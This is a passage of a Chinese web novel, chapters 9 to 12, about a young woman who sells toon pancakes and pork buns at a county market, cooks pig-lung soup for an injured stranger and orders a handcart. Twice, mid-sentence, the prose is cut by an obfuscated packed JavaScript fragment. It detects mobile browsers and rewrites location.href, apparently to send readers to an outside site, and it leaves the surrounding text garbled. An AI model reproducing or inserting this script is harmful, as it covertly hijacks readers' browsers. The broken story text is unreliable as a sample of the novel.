她将上午回来后锁到柜子里的钱袋子拿了出来，上午回来的时候没来得及数，就急着去山上摘香椿了，现在正好有空，便想看看这一早上赚了多少钱。 顾宛央记得早上出门的时候，钱袋子里放了十文钱，她把钱袋子里的铜板倒出来后，先把这十文钱数出来，然后再将仔细地数着剩下的铜板。 数了两遍，钱袋子里的铜板一共二百壹拾伍文，除去买的面粉、鸡蛋还有油盐柴火这些成本，顾宛央估摸算下来能净挣一百文左右。 这比做绣活挣得多，而且对于顾宛央来说，做美食要比绣活要简单地多，她数出一百文铜板放进钱袋子，然后从柜子里拿出一个首饰盒。 这个盒子是顾宛央在南边时候自己买的一个首饰盒，里面本就没有首饰，以前的首饰都是属于顾家的，由嬷嬷保管，这盒子是她用来存放自己为数不多的个人物品的。 她打开盒子，一块羊脂白玉坠静静地躺在盒子最上面，顾宛央拿起玉摩挲了一会，玉坠的正面刻了一个小小的宛字，这是原主父母留给她的唯一念想了，顾宛央记得原主为了这块玉坠不被顾家收走，差点撞了柱子，最后顾家人怕闹出人命就没有收走这块玉坠。 顾宛央把玉坠放回去，拉开第二层的抽屉，里面已经攒了差不多有两百文的铜钱，她把今天挣回来的铜钱小心地放进去，然后锁好首饰盒。她相信，这个盒子用不了多久就会攒满了铜钱的。 “屋里有人吗？”门外传来郎中刘长生的敲门声。 顾宛央赶紧把柜子关好，走出来打开了大门，笑着问候道：“长生叔，你从县里回来了？” “是啊，正好回来采点草药去卖，你们救回来的年轻人怎么样了？”刘长生背着药箱大跨步地走向杂物间，边走边问道。 “昨天就醒了，今天喝了白粥，就是还很虚弱。”顾宛央说道。 “醒了就好，虚弱是正常的，我去看看，换个药。”刘长生说道。 顾宛央没有跟着进去，毕竟郎中要检查换药，她进去不方便。 过了好一会，刘长生才走出来，对顾宛央说道：“放心吧，没有生命危险了，这小子命太大了，从这么高山上摔下来居然捡回来一条命，还好被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792291|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几棵树挡了几下。” “你问他怎么受伤的了？”顾宛央听到没有生命危险，也松了口气。 “对，虽然他现在说话还不利索，应当是胸骨受伤的影响，但简单几个字还是能说的，应该是暂时性的，等明天看看能不能恢复。”刘长生说道。 顾宛央点点头，胸骨受伤引起疼痛确实影响说话，如果不严重的话，过两天也就好了。 “对了，刚才他说想明天就离开，但我看他伤势肯定是不行的，到时候你劝劝他养好伤再走。另外，不要给他喝白粥了，吃米饭和菜才能长力气，若是能喝些汤就更好了，当然，如果没有条件也不用勉强。”刘长生补充道。 顾宛央没吭声，她没敢把有人来寻这个人的事情告诉任何人，她倒是希望这个人早点离开，省的麻烦。 刘长生又交待了一些话，不外乎就是要静养，不能乱动，按时服药和换药的话，顾宛央一一记下。 “长生叔，这些钱你拿着，当诊费和药费，我知道肯定不够的，等我再攒些钱后一定补上。”顾宛央拿出钱袋子，掏出三十文铜钱递给刘长生，既然是她做主救了这人，还请了郎中来诊治，那不能让郎中白跑。 刘长生摆摆手，说道：“算了，你我都是穷苦人，救人一命胜造七级浮屠，权当做善事了。” “这......”顾宛央有些犹豫，确实自己很穷，没什么钱，但长生叔也不宽裕。 “你收回去吧，等那受伤的年轻人恢复，我去问他要诊费就行。”刘长生呵呵笑道。 顾宛央也笑了起来，说道：“对，等他伤好了，我们也得问他收吃的住的费用。” “应该收，应该收，若不是你们救了他，他小命都不保，哈哈哈哈。”刘长生爽朗地笑着离开。 两人在杂物间门口的对话，被躺着的年轻人听到，他慢慢摸索着腰间的暗袋，一摸一个皱眉头，袋里的银子不知何时已经全部掉落，再摸摸怀里的暗袋，眉头顿时舒展开，还好前两天把挂在腰间嫌碍事的玉佩收了起来，所幸没有掉落，这块玉佩可以抵了诊资和住资餐资，至于救命的酬谢，等回去后再说不迟。 刘长生的复诊确定了受伤年轻人无性命之忧，这让顾宛央还是松了一口气，虽然这人讨人嫌，但也是个活生生的人，救了他也算是给自己积德。 等到晚上张婶和两个儿子下地干活回来，就着顾宛央做的香椿酱，三个人干掉一大盆面条，直呼好吃。 张婶不好意思白吃顾宛央做的香椿酱，吩咐大儿子大丰明天开始回来前去山上摘香椿，虽然顾宛央推辞说小桃也会去采的，但张婶却执意让大丰一起去。 顾宛央也知道张婶的性子，占不了别人一点便宜，只希望自己付出的多，这样心才安，所以她也就不再拒绝，反正也采不了几天了。 确实香椿没几天时间可以卖了，是该想想接下来要做点什么摆摊了，顾宛央躺在床上，一边想着一边迷迷糊糊地睡了过去。 9. 第 9 章 在县城西市集摆摊的第二天，顾宛央依旧占到了昨天那个位置，只不过跟昨天不同的是，已经有不少人在等着她了。 这些人一见到顾宛央，立马全都围上来了，七嘴八舌地说道： “给我来五块饼，两勺酱。” “我第一个来的，让我先来。” “挤什么挤，别挤了！” “你们先让这位姑娘把摊子摆上呀，急什么。” 顾宛央刚放下背篓，见此情形有些慌，生怕太挤出事情，估摸了一下人数，赶忙说道：“大家别挤，排好队，不然我不卖了，在场的人肯定都能买到，不要急。” 众人一听，忙排好队等着顾宛央把东西一一摆出来。 此时还尚早，附近的摊有些还没出，顾宛央的摊前便排了一队人，这让来逛早市的人很诧异，于是又围了一圈人上来。 “这是卖什么的？怎地这么多人？还排队？” “是啊，这摆摊的姑娘没见过啊？新来的？” “别挤，后面排队去。” “咦，柳五郎，你怎么也在排队，这些东西好吃？” “任兄，昨日我已买过，甚是好吃，快些去后面排队，兴许还来得及买的上。” “能得到柳五郎的夸赞，那想必是不错的，那我也买来试试。” 一旦围上来的后一群人有人去后面排队了，那剩下的呼啦啦地也快速地跟上，生怕晚了就买不到了。 顾宛央没时间回答问问题的人，今天看样子又能很快就卖完了。 “鲁夫人？您也来买香椿饼和香椿酱吗？” “鲁夫人，您到我这里来，前面还有两个人，马上排到了。” “可是鲁工师跟您说过，这里的香椿饼好吃吧？” 顾宛央闻言不由抬头看了一眼，只见一位三十出头的女人正笑着跟人点头打招呼，被人称作鲁夫人的女人体态丰腴，气质高雅，态度和蔼，令人心生好感，她应是昨天那位鲁工师的夫人。 “各位不用客气，我在后面排队即可，今天既有排队那就不可乱了规矩。”鲁夫人声音温柔，态度坚决。 顾宛央看了看剩下的东西，预测排到鲁夫人处，应有剩余的。 排到鲁夫人的时候，顾宛央笑着打招呼：“鲁夫人，您要点什么？” “姑娘，昨天工师回家跟我说，你这里的香椿饼非常好吃，让我务必今日来买了尝尝。”鲁夫人一见摆摊的是个年轻美丽的女子，不由语气更加温柔。 “多谢鲁工师美言，您需要多少？”顾宛央听得别人夸赞自己做的东西，内心是开心的。 “香椿饼来个五块，香椿酱来两勺。”鲁夫人将手中的食盒打开，示意顾宛央将饼和酱分别装入里面的盘子和罐子里。 见鲁夫人细致，顾宛央也不由暗赞，其他人顶多拿个罐子来装酱，饼子就直接拿在手上带走或者直接吃。 顾宛央将大勺子装的满满的，倒入鲁夫人的罐子中，鲁夫人付过钱，提着食盒姗姗离去。 “鲁夫人怎么自己出来买东西啊？” “是啊，鲁工师家只有一个嬷嬷，还是从小带鲁工师长大的奶娘，也没有别的丫鬟，这个嬷嬷年纪大了，眼神也不好，平日里也做不了什么活，主要还是靠鲁夫人在打理家事。” “鲁夫人贤惠，鲁工师有个多病的老母，两个未满十岁的娃娃，她能打理的井井有条，让鲁工师安心在外造福百姓，真的很不容易。” “鲁工师清廉，按理说管工事的官吏油水是最多的，但他到现在还是住在祖传的小宅子里，也没有丫鬟小厮伺候，真是好官！” 顾宛央一边听着众人闲聊，一边将最后香椿饼和香椿酱卖完，等东西卖完的时候，在队伍最后的好几个人没买上，失落而归。 “姑娘，姑娘，你说的山上那个香椿，我昨天下午也上山去采了香椿，还真是漫山遍野多得很呢。”昨天那位卖蔬菜的大娘，见顾宛央忙好了，急急地凑过来跟她搭话。 顾宛央一边收拾东西，一边笑着说：“是啊，不过用不了多久，估计就不多了。” “姑娘，这个香椿我昨天采回去了，还没来得及做，想请问你这是怎么做着吃的？”大娘问道。 “做法很简单的，炒鸡蛋、跟豆腐凉拌或者做汤、还有炒饭，都是可以的，只不过事先要把香椿焯水，然后再吃。”顾宛央说道。 “焯水？这个不是蔬菜吗，怎么还要焯水呢？”大娘有些疑惑地问道。 “对，香椿一定要焯水后再做着吃，否则对身体不好，大娘，麻烦你也跟周围去采香椿的人关照一下。”顾宛央认真地说道，虽然香椿不焯水不经常吃没事，但是如果长期吃的话，不焯水还是会对身体有害的。 “好，我回去就跟大家说，让他们也跟认识的人说去，你放心，村里人传话传的可快了。”大娘见顾宛央神色郑重，不由自主地点点头应道。 教完大娘香椿的各种做法，顾宛央背起背篓离开了自己的小摊，今天她没急着赶回去，因为小桃和大丰都会帮忙采香椿，不必赶回去采香椿，她想逛逛集市买点东西，看看还有什么可以做的，马上香椿饼和香椿酱就没得卖了。 清晨的阳光照耀下的市集，人来人往熙熙攘攘，各种叫卖声吆喝声不绝于耳，顾宛央慢慢地随着人群走着，在一个肉摊前她停下来了脚步。 “姑娘，买肉吗？新鲜的猪肉，各种部位都有，要不要来点？”肉摊的摊主见一个年轻貌美的女子停在自己的摊前，不由地赶紧吆喝道。 顾宛央之所以停留下来，是发现肉摊上的肉非常新鲜，应该是大清早刚刚杀好的猪，她摸了摸钱袋子，这两天赚的钱可以拿出来一部分购买原材料，得先花出去才能更好地挣回来。 摊主见顾宛央站在肉摊前有些犹豫，便又开口吆喝：“姑娘，我这里的猪肉是今天早上刚杀的，要论新鲜，没人比的过我这摊上的，你看看这排骨、这五花肉，买回去做着吃肯定香。” 顾宛央犹豫不决，是因为在考虑到底要买肉做什么 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老邱诧异地看了一眼顾宛央，实诚地说道：“你要买猪肺？这玩意没人买的，平时老屠夫都是自己处理掉喂牲口的，今天估计是老屠夫不小心给夹在肉里头了，我还没卖过这东西呢。” “哦？那你便宜点卖我吧。”顾宛央说道，她倒是不知晓这里的人不吃猪肺，难怪逛市集的时候从未看见过卖猪肺的，她之所以想买猪肺是因为在现代很便宜，想着这里也不会太贵，没想到在这里人家直接不吃这东西。 “你要这玩意干啥，做出来可不好吃，腥气得不行，姑娘，你要不看看蹄髈吧，这个好吃。”老邱劝道。 “无妨，邱老板，我买这个自有打算。”顾宛央知道老邱是好意，只是他们不知道猪肺是个宝，而且他们不会做而已。 “那行吧，我可是劝过你的，如果回去做了不好吃，你不许来砸我摊子。”老邱说道。 “放心，我是自愿买的，与你无关。”顾宛央说道，看样子这肉铺老板还在意自己声誉的。 “那这样吧，我确实也不知道怎么卖这东西，你今天在我这也买了这么多肉了，就免费送你了，反正到最后我也是打算带回去喂狗的。”老邱爽气地说道。 “如此，那就多谢邱老板了，你放心，今后我需要的肉还不少，都到你这里来买。”顾宛央见肉铺老板爽快肉又新鲜又不短斤缺两，便也爽气地说道。 “行嘞，我来给你包一下，这一大块肉和一大块猪肺还挺沉，姑娘你拿得动吗？”老邱看着顾宛央苗条的身形，有些担心地问道。 “没问题，麻烦邱老板帮我放背篓里就好。”顾宛央说道。 老邱将两大包东西小心地帮顾宛央放进大背篓，背篓往下沉了沉，但顾宛央却纹丝不动，好似没增加过份量似的，老邱不由暗叹人不可貌相。 跟肉铺老板道别，顾宛央又在市集买了面粉、油、酱油、盐等一些消耗品，便回了家。 10. 第 10 章 一回家，顾宛央便去了自己的小菜园子，拔了两颗大白萝卜出来，新鲜出土的白萝卜有顾宛央的小腿那么粗，洗去泥土，雪白水灵的模样便露了出来，让人看了忍不住想咬一口。 猪肺不好做，但却营养价值很高，不但可以补肺润燥更重要的是可以补虚损，用白萝卜和猪肺炖一锅汤，喝了对气血体虚的人大有帮助。 受伤的人不能一直喝白粥，不然的话何时才能恢复，虽然他自己说今天就要离开，但看他的样子站都站不起来，怎么走呢！得让他尽快恢复离开才是。 顾宛央检查了一下杂物间的门是关着的，于是便放心地进了厨房，把买来的猪肺切成几大块，猪肺确实品相不好看，处理起来又麻烦，但是若是在做之前将它处理干净切成块，那就是一道不可多得的美味。 先简单地清洗一下生的猪肺，然后放入装满冷水的锅中开始生火焯水，水烧开后再继续煮，直到血水彻底都煮出来，再将猪肺捞出用冷水洗干净。 洗干净后把猪肺扔进盆中，加入盐后开始用手揉抓猪肺，这样可以使得猪肺中脏水流出，一开始的时候异味很重，顾宛央反复这样揉抓了几次后，异味就消失了。 这里的人不吃猪肺应该是不会做，做之前的清洗非常重要，若是洗不干净，那就是再好的厨子也做不好吃。 猪肺清洗的干干净净没有任何腥味，顾宛央活动着发酸的胳膊，准备开始煮汤，其实猪肺萝卜汤非常简单易做，将洗干净的猪肺切成小片，锅里加少许油烧热后，把猪肺扔进去加料酒翻炒，炒干水气直到猪肺表面微黄，便可以加水和葱段姜片进去开始炖煮。 再将白萝卜切成块，先放到另一个锅中加水烫煮一两分钟后捞起，等猪肺煮的差不多了再放进去一起煮就好了。 锅中翻滚的汤水渐渐变成乳白色，经过长时间的炖煮，味道也越来越香，顾宛央搬了个小板凳坐在灶台前控制火，烧柴火虽然麻烦，但做出来的饭菜却是极美味。 等到猪肺汤熬煮的差不多了，再将烫煮过的白萝卜加进汤中，继续一起炖煮，直至萝卜酥烂后熄火出锅。 一大锅乳白色的猪肺萝卜汤只需简单加入盐即可，香味扑面而来，猪肺中的蛋白质和各种营养物质都在小火慢炖中融入汤中。 顾宛央忍不住先盛了一小碗汤喝了起来，猪肺已经煮到软烂但依旧有嚼劲，白萝卜入口即化，白萝卜的甘甜味已经完全煮进汤中，使得浓汤清甜鲜美非常好喝。在这寒意依旧的早春，一碗这样的浓汤下肚，胃暖心也暖起来， 另一个锅中的米饭也已蒸好，顾宛央盛了一碗米饭，再盛了一碗汤，她犹豫了一下，把已经盛入碗中的猪肺拨拉了出来，只留了白萝卜在汤中。 顾宛央将米饭和汤端进了杂物间，令她惊讶的是床上的年轻人已经自己半坐了起来，正尝试着要下床。 “你可以自己起来了？”顾宛央看他精神比前两天好多了，不由地问道。 年轻人点点头，有些无奈地说道：“可以自己坐起来了，可还是下不了床。” 咦，说话流畅不沙哑了，虽然还是虚弱地有气无力，但声音还怪好听的，顾宛央看向他，只见他因为刚刚要下床的举动，挣扎的满头大汗。 “先吃饭，吃了饭才有力气下床。”顾宛央端着托盘走过去说道。 年轻人停止了挣扎，看着顾宛央说道：“谢谢你们救了我。” 正当他把手伸进胸前的暗袋，还想说话的时候，顾宛央手上的汤和饭已经端到他面前，一阵香味让他的肚子咕咕地响了起来。 “别说话了，快吃吧，自己能吃了吧。”顾宛央把托盘放到他面前说道。 年轻人已经被面前的汤香迷糊了，他的手忙扶住托盘，但也没忘记问一句：“这是什么汤？” 顾宛央看了他一眼，说道：“你看不出来啊，萝卜汤。” “好香啊！”年轻人只来得及说了一句话，便开始吃起来。 他先是喝了一勺汤，汤不烫嘴但入口温度刚好，这一口浓汤下去，仿佛是琼浆玉液，这两天寡淡的白粥让他的味觉极敏锐，这汤鲜美中带着甘甜，味道柔和，让人欲罢不能，他放下勺子，捧着汤碗咕嘟咕嘟喝了几大口，随即满足地深吸了一口气。 年轻人端起饭碗，吃了一口米饭，刚刚在嘴里的鲜甜与米饭相融合，显得格外的好吃，他夹了一块白萝卜，已经炖煮的酥烂，毫不费力就能咬开，浸满了鲜香浓郁的汤汁，煮的火候正正好。 顾宛央在一旁特意留了一会，前两次做的东西都被这人嫌弃，她怕这次又被嫌弃，不过这次看上去他还挺喜欢吃的，还好把猪肺挑出来了，否则还不知道他吃不吃呢。 顾宛央见他虽饿但吃相优雅，眼中只有面前的食物，专注地吃饭。不过他似乎是感受到了顾宛央的目光，年轻人抬起头来正好与她对视上。 “味道怎么样？”顾宛央见对视上了，也没躲，而是大大方方地问道。 “很好吃。”年轻人发自内心的说道。 见他真心夸赞，顾宛央嘴角有些微微上翘，说道：“总算不嫌弃了？那就多吃点，恢复了你就可以赶紧离开了。” 年轻人愣了一下，回过神来双手抱拳问道：“多谢姑娘，敢问姑娘怎么称呼？” “顾宛央。”顾宛央简单地把自己名字报上。 “李瑾修，叫我瑾修即可。”年轻人也自报家门。 顾宛央点点头，说了一句“慢慢吃，我先去忙了。”就离开了杂物间。 李瑾修的手刚想伸进胸前的暗袋，见顾宛央转身就走，他想喊住她，但见她早跑出去没影了，于是住了嘴也放下了手，李瑾修放下来的手重新端起了碗细细地吃了起来。 顾宛央留了足够李瑾修晚上再吃一顿的萝卜和汤，然后她把猪肺捞了出来，她要做一个猪肺炒芹菜，汤里的猪肺味道寡淡不下饭，用芹菜炒一下又是一个绝佳的下饭菜。 芹菜就在菜园子里摘的，不过不是顾 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锅气满满的猪肺炒芹菜散发着诱人的香气，红、绿、酱三色搭配的非常好看，顾宛央将菜分了三份，自己一个人吃不了，大家都可以尝一尝，然后盛了一碗饭和一碗汤，就着菜和汤吃了起来。 猪肺的口感筋道弹牙，芹菜脆嫩鲜甜，两者搭配一起吃，口感丰富味道鲜香，顾宛央一碗米饭不一会便下了肚，再喝一口萝卜汤，没想到不花一文钱就能吃到如此美味，真是心情愉悦。 桂花婶和张婶一家，在见到猪肺炒青菜和猪肺萝卜汤的时候，眼睛都直了，一开始大家都不敢尝试，只有小桃无条件地信任顾宛央，直接开吃。 小桃毫不犹豫夹了猪肺就往嘴里扔，刚入口，小桃的眼睛睁大了，对着桂花婶连连点头，等到一口菜下肚，狂喜道：“好吃耶，宛央姐，没想到这平时没人吃的东西，被你做的这么美味。” 说罢，又夹了一筷子猪肺和芹菜塞进嘴里，然后扒了一口米饭，吃得那叫一个香！ 其他人立刻坐不住了，生怕慢一点就被小桃炫完了，顾宛央坐在旁边看着众人着急的模样，不由地笑着走了出去，李瑾修应该也用完饭了，得去收碗筷。 李瑾修已经躺了下来，见到顾宛央进来，忙用胳膊撑起身子说道：“多谢宛央姑娘，你放心，等我身体恢复后定会酬谢。” 顾宛央也没拒绝，只是淡淡道：“你不嫌难吃就行，等你可以下床后，尽快离开此地。” “不知这萝卜汤是用什么熬煮的，竟如此鲜美？”李瑾修没接茬，反而问道。 “你还是不要知道的为好。”顾宛央看了他一眼说道。 “哦？为何？放心，我不会将姑娘的食谱方子传出去的。”李瑾修以为她在保密，笑道。 顾宛央懒得解释，直接说了两个字：“猪肺”，便转身离开了杂物间。 她身后的李瑾修的嘴角顿时有些抽搐，一下又有了想挣扎着下床离开此地的冲动。 11. 第 11 章 鲜肉包子是顾宛央想替代香椿饼的食物，因为猪肉和面粉都是常规的食材，而且她在市集逛下来，卖鲜肉包子的摊子很少，卖的价格也贵，她现在挣了几天的钱，已经有了本钱，可以尝试做鲜肉包子卖。 早晨的空气很好，顾宛央从房间里出来的时候，望着天上还残留的几颗星星，伸了伸腰踢了踢腿，让困意慢慢消失。 鲜肉包子要做的好吃，面要发的好，馅要调的妙，这个年代做面食得有面引子，幸好张婶一家是北方来的，喜面食，常备有面引子，昨天晚上顾宛央已经问张婶要来了面引子。 顾宛央将面引子放入盆中先加少许水调化开，再把买来的面粉倒入盆中，多次少量地加入冷水开始和面，揉面团一定要有耐心，少量的水加入面粉中后，面粉变成一点一点的小疙瘩，顾宛央灵巧的双手将面粉和水揉到一起，慢慢地形成了一个光滑圆润的面团。 此时顾宛央并未着急收手，而是继续揉捏，让面团在手上变得更加筋道，这样做出来的包子皮会更Q弹有嚼劲。 感觉到面团揉的差不多了，顾宛央将它放置在灶台旁醒发，接着就开始做肉馅。 将昨天买的肉切成小丁，然后开始剁肉，肉馅不用剁得很细碎，稍微有点颗粒感的话口感会好很多。三分肥七分瘦的肉剁成了肉馅，接下来就是最关键的一步--调馅。 顾宛央将准备好的葱姜汁倒到肉馅中，然后充分搅拌均匀，葱和姜是调馅必不可少的调料，但如果直接加入肉馅的话，很是影响口感，所以顾宛央将葱和姜做成葱姜水，这样既能有调味的功效，又能避免口感不适。 葱姜汁接触到肉类并且进行搅拌，便已经散发出来香味了，顾宛央再将酱油、盐和少许糖加进去调味，继续搅拌直至所有调味料都均匀地与肉馅融合。 将肉馅放置一旁，顾宛央开始烧火做香椿饼，热气对于需要醒发的面团很有帮助，等到香椿饼做完，面团也已经醒发好了，就可以做肉包子了。 顾宛央将醒发好的面团按瘪后继续揉捏，将面团中的空气按压出来，使得面团更加筋道。 再将面团分开搓成长条并切出剂子，用擀面杖擀成厚实的圆形面皮，再把事先调好的肉馅舀入面皮中间，一只手窝着拖起面皮肉馅，一只手快速把面皮边缘捏起形成褶子，一个肉包子便包好了。 顾宛央动作熟练，没多久所有的面皮和肉馅全部用完，都变成了一个个形状完美又大又漂亮的大肉包，最后一步便是烧大火上蒸笼开始蒸包子。 土灶里大火烧起，屋外的天色也渐渐亮了起来，今天出摊比前两天要晚一些了，顾宛央坐在灶台前烤着火，闻着蒸笼里飘出来的面香和肉香，开始闭目养神胡思乱想。 从前两天摆摊的情况来看，京都附近的百姓生活都比较富庶，市集繁华热闹，所以只要是味道好的美食，销量是不愁的，这也更坚定了顾宛央要靠美食来挣钱的想法，甚至她想去京都看看，一个京都边缘的县城都这么繁华，那京都不知得繁华成什么样子，只是流民的身份恐怕没那么容易进京都。 想着想着瞌睡上来了，头一下没支棱住栽了下去，这把顾宛央惊醒了，她忙用手拍了拍自己的脸，然后去查看灶台上的蒸笼，她这是发了多久的呆，肉包子已经蒸的差不多了。 揭开蒸笼，一股白气瞬间冒出来，随着白气的飘出香味也扑面而来，再看蒸笼里的肉包子，一个个白白胖胖，一点皮子都没破，仿佛在招手等着顾宛央的检验。 顾宛央这才感觉肚子饿得慌，作为厨师她肯定要尝一下自己做的东西，她伸手拿了一个肉包子，滚烫的温度让她不得不拿出来后立马放在碗里，过了一会，等到表面不烫手后，顾宛央拿起包子咬了一口，她咬的一口并不大，但已经吃到了肉馅，顾宛央包子做的大，肉馅也放得多，不像外面卖的包子咬几口都看不到肉馅。 包子皮松软但筋道，肉馅的味道鲜美，由于有那三分肥肉，肉馅中充满了油汤汁，吃到嘴里特别香，顾宛央将肉包子吃完后，忍不住点头，这里的食材真不错，没有科技喂养，全都是土生土长的食材，味道自然是更加鲜美。 顾宛央用碗盛出两个肉包子，打算给李瑾修送去，等他醒来可以吃，多吃主食肉类容易恢复身体长力气。 她小心翼翼地推开杂物间的门，本以为发出的声音够小的了，但床上的人影还是很警觉地问道：“谁？” “你醒了？”顾宛央见李瑾修醒着，索性大方地推开门走进去问道。 “宛央姑娘，你起这么早?”李瑾修见是顾宛央，顿时放松下来，说道。 顾宛央见李瑾修今天的精神又好了不少，心想昨天的汤还是有用的，虽然昨天晚上，他喝汤的表情又享受又痛苦，但还是全都吃了下去。 顾宛央端着包子对他说道：“早起摆摊卖早点，这两个肉包子你等会吃了。” “肉包子？”李瑾修已经闻到香味，虽然很想吃，但还是犹犹豫豫地开口：“这是什么肉？” 顾宛央见他一脸的纠结，忍住了想笑的表情，淡淡地说道：“放心吧，是猪肉，正常的猪肉。” 听到这话，李瑾修的表情一下轻松起来，忙接过碗说道：“多谢宛央姑娘。” 顾宛央点点头刚转身要走，李瑾修的声音又响起：“宛央姑娘，能否麻烦给我打盆水，我想......我想洗漱。” 顾宛央看着一旁摆放的牙粉毛巾，这应该是张婶这两天准备的，李瑾修有些难为情的样子，解释道：“本想等张婶起来，麻烦她打水的，但我现在饿了。” 说罢，李瑾修眼巴巴地看着顾宛央，一双好看的瑞凤眼中满是期待。 顾宛央心里轻叹，终于明白男人为何拒绝不了漂亮女孩的请求了，她嘴里一边说着“你等着”，一边赶紧出门打水。 顾宛央出门打了一盆水进来放在他够得着的地方，李瑾修抱拳道：“多谢宛央姑娘，你去忙吧，别耽误了你出摊。” 等顾宛央出了杂物间的门，李瑾修尽量快地洗漱完，然后拿起散发着诱人香味的包子，咬了一大口，鲜美的汁水裹着包子皮和肉馅一下涌进嘴里，李瑾修没想到一个普通的肉包子居然这么好吃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792294|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >筋道有弹性的面皮，肉馅又鲜又香，而且是纯肉馅，并没有以前吃到的那些葱和姜的小颗粒，但是又一点都没有腥味，那必定是有葱姜调味的。 李瑾修大口大口地吃着肉包子，两个包子很快就被他吃完了，他意犹未尽地看着空碗，舔了舔嘴唇，真是好吃啊，还想吃怎么办，他突然很想快点到中午，不知道中午有什么好吃的。 顾宛央到达市集的时候，天已经大亮，原本以为前两天的摊位肯定被人占去了，但让她意外的是，居然没人占走这个位置，但摊位旁边依旧是围了一圈人，这些人一见到顾宛央，立刻凑了上来对她说： “姑娘，你可算是来了啊。” “是啊，还以为今天你不来了呢。” “你要是再不来，这个摊位我们可帮你占不住了。” “就是就是，你不知道我们赶走了多少摊主了。” “再赶人的话，估计人家都要去县衙告我们了。” 顾宛央这才知道原来不是没人来占摊位，而是这群人把人赶走了，专门给她留的摊位。 一时间，顾宛央有些感动又有些哭笑不得，这要是闹到县衙就不好看了，于是她对大家说道：“谢谢各位，只是以后不用给我占摊位了，如果我来晚了，这个摊位被人占了，那我也会来这里转一圈，大家伙跟着我去找空着的摊位就行了。” 有了顾宛央这句话，围着的人这才点头，他们只要能找到这位姑娘买东西就成，至于摊位在哪确实是无所谓的。 “行啊，姑娘，听你的。” “这个办法好，我们也不用厚着脸皮赶人了。” “这敢情好，只要能找到你就成。” “姑娘，赶紧摆出来吧，都等饿了。” 顾宛央也赶紧将背篓里的东西摆出来，众人见今天多了一样早点，都伸着脖颈往摊上瞧，见顾宛央拿出一个小木牌子摆放在前面--“鲜肉包子，六文一个”。 “是肉包子？” “六文一个，比别的摊贵一文。” “是啊，为何会贵一文？” “贵自有贵的道理，姑娘，先给我来一个肉包尝尝。” 顾宛央听在耳中，香椿饼五文一个没人说贵，肉包只因比别家多一文，便觉得贵了，果真是没有比较就没有伤害，不过现在觉得贵，一会尝过了就不会觉得贵了。 只见第一个买肉包的人拿起包子就咬了一口，包子被咬开口，散发的肉香和面香味，旁边眼巴巴看着的人就不由地开口： “这包子馅好大啊。” “是啊，一口就看到肉了。” “汁水好多，看着很好吃的样子。” “兄弟，这包子好吃吗？说句话呀。” 吃包子的人已经顾不得说话，他的眼里只有手上的包子，他左右开弓小心地咬着包子，生怕漏出来一滴汁水，最后把剩下的一口全部塞进嘴里，脸上尽是满足的神色。 在他咽下去最后一口包子后，话不多说又直接买了五个，旁边的人见状，也不问那人好不好吃了，直接开始自动排队地买起来。 12. 第 12 章 跟前几日一样，顾宛央摊上的东西没过多久就卖光了，买到鲜肉包子的人都已经等不及拿回家再吃，就在一旁开始吃起来。 这把没买到包子的人馋的口水都要流下来，不用吃光闻着香味就让人觉得好吃了，在问过顾宛央明天还有肉包子卖后，众人都暗自下决心明天一定要早点来排队。 人群渐渐散去，顾宛央收拾好东西，往市集的北边走去，她走到一个木匠铺子停了下来。 “有人在吗？”顾宛央见铺子里到处摆着木头还有工具，就是没有人。 在顾宛央喊了第三遍的时候，终于铺子里间有人应了：“来了来了。” “客人这么早啊，我们还没开工呢。”出来的是一个小学徒模样的小工，看上去比小桃年纪还要小，但却满脸带笑，让人看着就很舒服。 顾宛央点点头，掏出一张纸，递过去说道：“想劳烦师傅做一样东西，这是图纸。” 小工接过图纸，打开瞧了一眼，惊讶地说道：“咦？这是个推车的样子，只不过姑娘是不是重新改过样式？” “是，不知道师傅能否做得出来？”顾宛央说道。 这是顾宛央想要做的小推车，背篓太小，今天勉强能装下这么多东西，但再多就装不下了，而且每天背着背篓确实费力，所以想打个小推车，省力又装得多，毕竟今后还得天天这样走去城里卖东西。 这几天挣了钱，先得早些把工具备上，才能达到事半功倍的效果，原有的推车样式又大又笨重，顾宛央把尺寸改小，改成轻巧好推的样式，她用不着那么大的推车，只要能装得下她卖的东西就行了。 “姑娘，您稍等一下，我去喊我师傅来看看。”小工不敢擅自接下这单生意，对顾宛央说道。 顾宛央点头，本来她也是想找这里的大师傅当面定一下的。 没过一会，一个蓄着大胡子的大汉走了出来，手里拿着刚才的图纸，小工又是满脸堆笑地对顾宛央说道：“这是我师傅，您可以叫他古师傅。” “古师傅好。”顾宛央打着招呼。 古师傅点点头，扬起手里的图纸对着顾宛央道：“这图纸是你画的？” 顾宛央点点头应道：“是的，不知古师傅能看得清楚否？” “清楚，画的不错，你这图纸加点颜色再加点别的东西，就是一幅画了。”古师傅说道。 顾宛央笑笑不语，多亏了原主琴棋书画技能样样俱全，再加上自己的想法，才能将一张推车的样图画的清清楚楚，顾宛央是从心底感恩原主所学的技艺的。 “你这个推车用料少，做起来应该比正常推车简单不少，我就收你一半的价格吧。”古师傅想了想说道。 顾宛央没想到这位木匠师傅还挺公道的，省的她讲价了，顾宛央爽快地先付了一半定金，古师傅让她过几日便可以来取货。 订完推车，顾宛央又去了昨天的肉铺，继续买三分肥七分瘦的猪肉用来做肉包子。 